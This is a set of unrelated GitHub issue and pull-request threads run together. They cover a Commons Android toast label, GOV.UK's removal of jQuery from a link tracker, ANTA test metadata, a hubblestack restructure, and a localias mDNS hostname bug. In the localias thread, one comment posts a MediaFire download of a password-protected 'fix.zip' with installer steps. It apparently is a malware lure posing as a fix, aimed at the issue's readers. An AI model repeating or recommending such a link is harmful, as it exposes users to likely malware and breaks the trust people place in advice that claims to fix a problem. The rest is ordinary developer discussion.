@318anushka OK you can take it. Please let us know about your progress, and by the way thanks for adding the scalebar in Nearby, it is very useful :-)
I just tested, the problem still exists:

@318anushka please verify the issue exists and then start working on it

@macgills Yes i checked, i'll start working on it.
And thanks a lot for helping me out with the first contribution😊

What exactly do we wan't to display here. I just saw last PR and it displayed title name but the changes aren't merged
https://github.com/commons-app/apps-android-commons/pull/2890#issuecomment-484651415
Can you please elaborate :-)

When you upload via Nearby the image gets associated with a Wikidata item. We would like to show the title of the corresponding Wikidata item in the toast.

Also, whether the PR #2890 achieved that correctly is questionable.

Hum, good find, I wonder why this PR was not merged.
It looks good to me as it is simple enough.
@318anushka would you mind testing it? Then send a new PR with the same content if it looks OK to you.
@sivaraam Is it a general observation, or do you have in mind something in particular which is bad about this PR? Thanks for your insight :-)

@sivaraam Is it a general observation, or do you have in mind something in particular which is bad about this PR?

I had a suspicion if that PR was just showing the image title rather than the title of the Wikidata item in the toast. I'm not familiar with that code to confirm either way. Thus the observarion. :)

Oh, that might be the case indeed!
Anushka, please test the PR by modifying the caption and description, and
post the URL of your uploaded image. Thanks! 🙂
On Fri, 20 Mar 2020, 13:09 Kaartic Sivaraam<EMAIL_ADDRESS>wrote:

@sivaraam https://github.com/sivaraam Is it a general observation, or
do you have in mind something in particular which is bad about this PR?
I had a suspicion if that PR was just showing the image title rather than
the title of the Wikidata item in the toast. I'm not familiar with that
code to confirm either way. Thus the observarion. :)
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/commons-app/apps-android-commons/issues/2882#issuecomment-601518127,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAAYKBUFXBDZWWISXDRAI5TRILUAJANCNFSM4HGIGQ4Q
.

Oh, that might be the case indeed! Anushka, please test the PR by modifying the caption and description, and post the URL of your uploaded image. Thanks! 🙂
Sure , will do that!!

Oh, that might be the case indeed! Anushka, please test the PR by modifying the caption and description, and post the URL of your uploaded image. Thanks! 🙂
…
On Fri, 20 Mar 2020, 13:09 Kaartic Sivaraam, @.***> wrote: @sivaraam https://github.com/sivaraam Is it a general observation, or do you have in mind something in particular which is bad about this PR? I had a suspicion if that PR was just showing the image title rather than the title of the Wikidata item in the toast. I'm not familiar with that code to confirm either way. Thus the observarion. :) — You are receiving this because you were mentioned. Reply to this email directly, view it on GitHub <#2882 (comment)>, or unsubscribe https://github.com/notifications/unsubscribe-auth/AAAYKBUFXBDZWWISXDRAI5TRILUAJANCNFSM4HGIGQ4Q .

Sure!! will do that.

I tried testing the pr and everytime on uploading image toast displayed "failed to update corresponding wikidata entity" and the image is still getting uploaded.

Could you please post the URL to the image?

Could you please post the URL to the image?

Yes , here
https://commons.wikimedia.beta.wmflabs.org/wiki/File%3AGovindgarh_lake_side.jpg

Tried this as well
https://commons.wikimedia.beta.wmflabs.org/wiki/File%3ASardar_Vallabhbhai_National_Institute_of_Technology%2C_Surat_2.jpg

Also i recently synched local repo and now there is an error, it is unable to fetch nearby places.Is anyone else facing the same error?
Logcat shows this error: E/SQLiteLog: (1) no such column: location_pic

Please rebuild using the "prodDebug" option, and upload/post the URL again. Thanks! :-)

Yes the PR is showing image title (i edited and checked).
https://commons.wikimedia.org/wiki/File%3ASVNIT%2C_SURAT.jpg

Thanks!
Unfortunately, image title is not great, because it may not be the same as the Wikidata item.
The toast is a remainder that the image you just uploaded is now linked from the Wikidata item (as seen at https://www.wikidata.org/wiki/Q7423738 )
That's probably why Ahmed's PR was not merged.
So, you will have to figure out how to implement this and show the Wikidata item's label (which was displayed on the Nearby activity) instead, good luck! :-)
You can probably pass it along the same way the Wikidata item QID is passed along.

Okay i'll start working on it

The toast is a remainder that the image you just uploaded is now linked from the Wikidata item (as seen at https://www.wikidata.org/wiki/Q7423738 )
That means whenever toast isn't displayed, the image is uploaded but isn't linked to a wikidata item, right? Why does this happen?
Because only 2 out of 8 times toast was visible to me 😅

Thanks!
Unfortunately, image title is not great, because it may not be the same as the Wikidata item.
The toast is a remainder that the image you just uploaded is now linked from the Wikidata item (as seen at https://www.wikidata.org/wiki/Q7423738 )
That's probably why Ahmed's PR was not merged.
That means whenever toast isn't displayed, the image is uploaded but isn't linked to a wikidata item, right? Why does this happen?
Because only 2 out of 8 times toast was visible to me 😅

That means whenever toast isn't displayed, the image is uploaded but isn't linked to a wikidata item, right? Why does this happen?
Because only 2 out of 8 times toast was visible to me 😅

That means whenever toast isn't displayed, the image is uploaded but isn't linked to a wikidata item, right? Why does this happen?
Because only 2 out of 8 times toast was visible to me 😅

These 8 uploads were all done via the Nearby map?
If the wikidata linking fails, an error message toast is shown instead, so a toast should be shown everytime. Maybe another bug? On my phone I see the toast everytime, what device and Android version do you have? Maybe something appears in logcat about that? :-)

Yes all via Nearby map. Logcat shows contribution success but wikidata item is not edited because of location mismatch. I am using pre-clicked photos maybe that's why(quarantined you know).
Anyway a minor change in Ahmed's PR instead of image title displaying place.name(since it is linked to wikidata item) and this is the default label(if not modified) which is displayed as title when uploaded via nearby will do the job.
Let me know your views on this then i'll submit a PR.

@318anushka You can comment out this if condition if you are testing with pictures that have an incorrect location.
https://github.com/commons-app/apps-android-commons/blob/master/app/src/main/java/fr/free/nrw/commons/wikidata/WikidataEditService.java#L64

Thanks!! @maskaravivek


Remove jQuery from external link tracker

What
Removes jQuery from the external link tracker. This is a script that sends a tracking event when a consenting user clicks on a link to a page that isn't on www.gov.uk.
I've had to restructure this code quite a bit, partly because of the way event listeners work in JS vs jQuery and partly because the tests kept failing.
The reason behind this was the click event listener was persisting between tests with the previous value for customDimension, so the test was technically passing but failing because the click event was occurring multiple times. This was originally solved with jQuery by using the off event listener remove, but in JS you have to pass the function that attached the listener, which was far more complex. Instead, the options are now attached to the external link tracker object, and get overwritten. This means the click events are still firing multiple times in the tests, but they're all firing correctly (in reality the tracker would only ever be initialised once). This tracker is only called here in the gem, by static-analytics.js.
Another change is how the code detects that the link is an external link. Before this was done using a clever selector, but the JS equivalent (matches) was resulting in some weird errors, so I've had to go a bit old school and parse the href attribute manually.
This code shares some similarities with the download link tracker, so maybe at some point we could try to consolidate them.
Why
We're removing jQuery from GOV.UK.
Visual Changes
None.
Trello card: https://trello.com/c/aq1AxjNr/397-remove-jquery-from-gem-analytics-code

Issue logged: https://github.com/alphagov/govuk_publishing_components/issues/2550
@owenatgov are you referring to the multi line comment in the middle of the script? That was there originally so I just left it as it was.

@andysellick So, I thought I'd made a comment in my review about the national archive link numbering but I suspect I forgot to hit enter to actually post said comment before submitting my review 🤦  Have slacked you about it.

@owenatgov to answer your question - I modified the spec file to add numbers to the links so that I could be sure that the right thing was working. There wasn't anything wrong with the test, but I found it hard during debugging to know at a glance which link had been clicked (and therefore which tracking event was working or not working) as they all had the same URL.


Add attributes 'label' and 'description' with function decorator

Hello,
Currently the only precision about the tests is the name of the function itself. It is therefore necessary to read the code of the function to understand how it works and to have more details.
An idea would be to add to each test function a python decorator with two attributes: label and description.
Example with this sample piece of code:
def decorator(**kwargs):
    def wrapper(function):
        for k, v in kwargs.items():
            setattr(function, k, v)
        return function
    return wrapper

@decorator(label='EOS version', description='Verifies the device is running one of the allowed EOS version')
def verify_eos_version():
    pass

print(f'label: {verify_eos_version.label}\ndescription: {verify_eos_version.description}')

>>> label: EOS version
>>> description: Verifies the device is running one of the allowed EOS version

Now, we can access easily this information, without having to add two fields in a .yaml file, for example.
Thank you very much.

Hello @noam-zeitoun
Thank you.
We can do it (for description) but it means we would have to maintain the same description in both the decorator and the short descrition in the docstrings ....
What about using this approach instead of using decorator?
>>> from anta.tests.system import *
>>> print(verify_uptime.__doc__)

    Verifies the device uptime is higher than a value.

    Args:
        device (InventoryDevice): InventoryDevice instance containing all devices information.
        minimum (int): Minimum uptime in seconds.

    Returns:
        TestResult instance with
        * result = "unset" if the test has not been executed
        * result = "skipped" if the `minimum` parameter is  missing
        * result = "success" if uptime is greater than minimun
        * result = "failure" otherwise.
        * result = "error" if any exception is caught

>>> print(verify_uptime.__doc__.split('\n')[1])
    Verifies the device uptime is higher than a value.

Please let us know what do you think?

Hi @ksator.
Thank you for your answer.
Your proposal is interesting.
Your approach can be good for us, but could you make a function that takes the test as an argument and returns the docstring ? If it's possible, then it would be accurate if we have as much functions as 'keywords' in the docstrings as it follows:
>>> import re
>>> def verify_uptime():
        """
        Verifies the device uptime is higher than a value.

            Args:
                device (InventoryDevice): InventoryDevice instance containing all devices information.
                minimum (int): Minimum uptime in seconds.

            Returns:
                TestResult instance with
                * result = "unset" if the test has not been executed
                * result = "skipped" if the `minimum` parameter is  missing
                * result = "success" if uptime is greater than minimun
                * result = "failure" otherwise.
                * result = "error" if any exception is caught
        """
        pass

>>> def get_doc_desc(test):
        """
        Return the docstring description of the test
        """
    return test.__doc__.split('\n')[1]

>>> def get_doc_returns(test):
        """
        Return the docstring Returns of the test
        """
        return re.findall(r'Returns:(.*)', test.__doc__, re.DOTALL)[0]

>>> print(get_doc_desc(verify_uptime))
    Verifies the device uptime is higher than a value.

>>> print(get_doc_returns(verify_uptime))
    TestResult instance with
    * result = "unset" if the test has not been executed
    * result = "skipped" if the `minimum` parameter is  missing
    * result = "success" if uptime is greater than minimun
    * result = "failure" otherwise.
    * result = "error" if any exception is caught

Additionally, your proposal would require a unit test to check the consistency of the docstrings.
Meaning that all parts of the docstrings must be present and correct.
However, we believe that docstrings should be reserved for developer documentation. This is why we proposed to use the function decorators for the benefit of users.
Thank you very much.

Hi @ksator.
Thank you for your answer.
Your proposal is interesting.
Your approach can be good for us, but could you make a function that takes the test as an argument and returns the docstring ? If it's possible, then it would be accurate if we have as much functions as 'keywords' in the docstrings as it follows:
>>> import re
>>> def verify_uptime():
        """
        Verifies the device uptime is higher than a value.

            Args:
                device (InventoryDevice): InventoryDevice instance containing all devices information.
                minimum (int): Minimum uptime in seconds.

            Returns:
                TestResult instance with
                * result = "unset" if the test has not been executed
                * result = "skipped" if the `minimum` parameter is  missing
                * result = "success" if uptime is greater than minimun
                * result = "failure" otherwise.
                * result = "error" if any exception is caught
        """
        pass

>>> def get_doc_desc(test):
        """
        Return the docstring description of the test
        """
    return test.__doc__.split('\n')[1]

>>> def get_doc_returns(test):
        """
        Return the docstring Returns of the test
        """
        return re.findall(r'Returns:(.*)', test.__doc__, re.DOTALL)[0]

>>> print(get_doc_desc(verify_uptime))
    Verifies the device uptime is higher than a value.

>>> print(get_doc_returns(verify_uptime))
    TestResult instance with
    * result = "unset" if the test has not been executed
    * result = "skipped" if the `minimum` parameter is  missing
    * result = "success" if uptime is greater than minimun
    * result = "failure" otherwise.
    * result = "error" if any exception is caught

Additionally, your proposal would require a unit test to check the consistency of the docstrings.
Meaning that all parts of the docstrings must be present and correct.
However, we believe that docstrings should be reserved for developer documentation. This is why we proposed to use the function decorators for the benefit of users.
Thank you very much.

Hi @ksator.
Thank you for your answer.
Your proposal is interesting.
Your approach can be good for us, but could you make a function that takes the test as an argument and returns the docstring ? If it's possible, then it would be accurate if we have as much functions as 'keywords' in the docstrings as it follows:
>>> import re
>>> def verify_uptime():
        """
        Verifies the device uptime is higher than a value.

            Args:
                device (InventoryDevice): InventoryDevice instance containing all devices information.
                minimum (int): Minimum uptime in seconds.

            Returns:
                TestResult instance with
                * result = "unset" if the test has not been executed
                * result = "skipped" if the `minimum` parameter is  missing
                * result = "success" if uptime is greater than minimun
                * result = "failure" otherwise.
                * result = "error" if any exception is caught
        """
        pass

>>> def get_doc_desc(test):
        """
        Return the docstring description of the test
        """
    return test.__doc__.split('\n')[1]

>>> def get_doc_returns(test):
        """
        Return the docstring Returns of the test
        """
        return re.findall(r'Returns:(.*)', test.__doc__, re.DOTALL)[0]

>>> print(get_doc_desc(verify_uptime))
    Verifies the device uptime is higher than a value.

>>> print(get_doc_returns(verify_uptime))
    TestResult instance with
    * result = "unset" if the test has not been executed
    * result = "skipped" if the `minimum` parameter is  missing
    * result = "success" if uptime is greater than minimun
    * result = "failure" otherwise.
    * result = "error" if any exception is caught

Additionally, your proposal would require a unit test to check the consistency of the docstrings.
Meaning that all parts of the docstrings must be present and correct.
However, we believe that docstrings should be reserved for developer documentation. This is why we proposed to use the function decorators for the benefit of users.
Thank you very much.

Hello,
The proposal of noam-zeitoun is interesting.
Any news on implementing it or not ?

Hello,
PR #173 has started refactoring of test and provide a list of categories that could be used as labels
Also a field description is now available.
As of now, only hardware tests have been converted and others are going to be converted shortly


initial work towards restructuring

Throwing this out there for feedback. It starts migrating to benchmark-osfinger-level-foo.yaml schema. Let's discuss in Slack before merging.

Not sure how I feel about moving the yaml out of the hubblestack_nova dir. I think we should keep it all in there, so all people have to do is copy that dir into their salt:// and write up a topfile, and they're off to the races.

I'm going to go ahead and close this for now, since it's conflicting and I think we decided on a little different structure.


failed to start mDNS server: no such host

Hello,
I have have issues when running on my home network.
I have a FRITZ!Box home router and therefore devices have the hostname:
<device_name>.fritz.box
This gets assigned by the routers DHCP.
When I start localias I get an error:
replacing existing daemon on pid 65321
2024/08/26 14:53:20.934 INFO    admin   admin endpoint started  {"address": "localhost:2019", "enforce_origin": false, "origins": ["//localhost:2019", "//[::1]:2019", "//<IP_ADDRESS>:2019"]}
2024/08/26 14:53:20.934 INFO    tls.cache.maintenance   started background certificate maintenance      {"cache": "0xc000564080"}
2024/08/26 14:53:20.939 INFO    http.auto_https server is listening only on the HTTPS port but has no TLS connection policies; adding one to enable TLS {"server_name": "srv1", "https_port": 443}
2024/08/26 14:53:20.939 INFO    http.auto_https enabling automatic HTTP->HTTPS redirects        {"server_name": "srv1"}
2024/08/26 14:53:20.950 INFO    pki.ca.local    root certificate is already trusted by system   {"path": "storage:pki/authorities/local/root.crt"}
2024/08/26 14:53:20.950 WARN    tls     unable to get instance ID; storage clean stamps will be incomplete      {"error": "open /Users/jan/Library/Application Support/Caddy/instance.uuid: no such file or directory"}
2024/08/26 14:53:20.950 INFO    http.log        server running  {"name": "srv0", "protocols": ["h1", "h2", "h3"]}
2024/08/26 14:53:20.950 INFO    http    enabling HTTP/3 listener        {"addr": ":443"}
2024/08/26 14:53:20.951 INFO    http.log        server running  {"name": "srv1", "protocols": ["h1", "h2", "h3"]}
2024/08/26 14:53:20.951 INFO    http.log        server running  {"name": "remaining_auto_https_redirects", "protocols": ["h1", "h2", "h3"]}
2024/08/26 14:53:20.951 INFO    http    enabling automatic TLS certificate management   {"domains": ["trackr-api.local", "bytebase.local", "trackr-app.local"]}
2024/08/26 14:53:20.970 WARN    tls     storage cleaning happened too recently; skipping for now        {"storage": "FileStorage:/Users/jan/Library/Application Support/localias/caddy", "instance": "922d366f-4491-49fa-83cf-1cd9da747a51", "try_again": "2024/08/27 14:53:20.970", "try_again_in": 86399.999999435}
2024/08/26 14:53:20.970 INFO    tls     finished cleaning storage units
failed to start mDNS server:
could not determine host IP for .local domains: lookup MBP-von-Jan.fritz.box.local: no such host

The problem probably is, that it adds a .local suffix to the routers provided hostname and therefore cannot resolve it.
❯ nslookup MBP-von-Jan.fritz.box
Server:         <IP_ADDRESS>
Address:        <IP_ADDRESS>#53

Name:   MBP-von-Jan.fritz.box
Address: <IP_ADDRESS>

❯ nslookup MBP-von-Jan.fritz.box.local
Server:         <IP_ADDRESS>
Address:        <IP_ADDRESS>#53

** server can't find MBP-von-Jan.fritz.box.local: NXDOMAIN

Output of debug config --print
# localias config file syntax
#
#       alias: port
#
# for example,
#
#   bareTLD: 9003 # serves over https and http
#   implicitly_secure.test: 9002 # serves over https and http
#   https://explicit_secure.test: 9000 # serves over https and http
#   http://explicit_insecure.test: 9001 # serves over http only
#
trackr-app.local: 61000
trackr-api.local: 61001
bytebase.local: 62000

Sincerely Jan

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Thanks for writing in — this is indeed a problem, I can reproduce by setting my computer's hostname to MBP-von-Jan.fritz.box (even though my router doesn't have a DNS server like your Fritz!Box setup does.) I think I have a fix, I will share a branch shortly.

@Flusinerd can you try using a localias binary downloaded from this release page and seeing if your problem is fixed?
https://github.com/peterldowns/localias/releases/tag/2.1.0%2Bcommit.fcaac03

Ok, I’m pretty sure the PR above fixes this issue (based on being able to repro myself) so I’m marking this as closed. If for some reason it turns out I didn’t fix your problem, I’ll re-open.

Hi @peterldowns
Sorry for the late reply.
I had time to test this in the setup where it failed an can confirm it now works without any issues.
Thanks for the quick fix and awesome tool :)

@Flusinerd no need to apologize, I’m glad to hear the problem is solved! Thanks and I hope you enjoy!